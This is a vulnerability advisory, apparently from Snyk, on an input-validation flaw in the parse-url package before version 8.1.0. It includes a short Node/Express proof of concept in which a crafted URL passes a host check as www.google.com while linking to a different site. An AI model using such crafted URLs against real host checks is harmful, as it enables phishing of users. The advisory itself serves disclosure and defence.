Improper Input Validation Affecting org.webjars.npm:parse-url package, versions [,8.1.0)


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • User Interaction

    Required

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-JAVA-ORGWEBJARSNPM-3024399

  • published

    15 Sep 2022

  • disclosed

    15 Sep 2022

  • credit

    Automne

How to fix?

Upgrade org.webjars.npm:parse-url to version 8.1.0 or higher.

Overview

org.webjars.npm:parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Improper Input Validation due to incorrect parsing of URLs. This allows the attacker to craft a malformed URL which can lead to a phishing attack.


const parseUrl = require("parse-url");
const Url = require("url");

const express = require('express'); const app = express();

var url = "https://www.google.com:x@fakesite.com:x"; parsed = parseUrl(url); console.log("[*]parse-url output: ") console.log(parsed);

parsed2 = Url.parse(url); console.log("[*]url output: ") console.log(parsed2)

app.get('/', (req, res) => { if (parsed.host == "www.google.com") { res.send("<a href=&#39;" + parsed2.href + "&#39;>CLICK ME!</a>") } })

app.listen(8888,"0.0.0.0");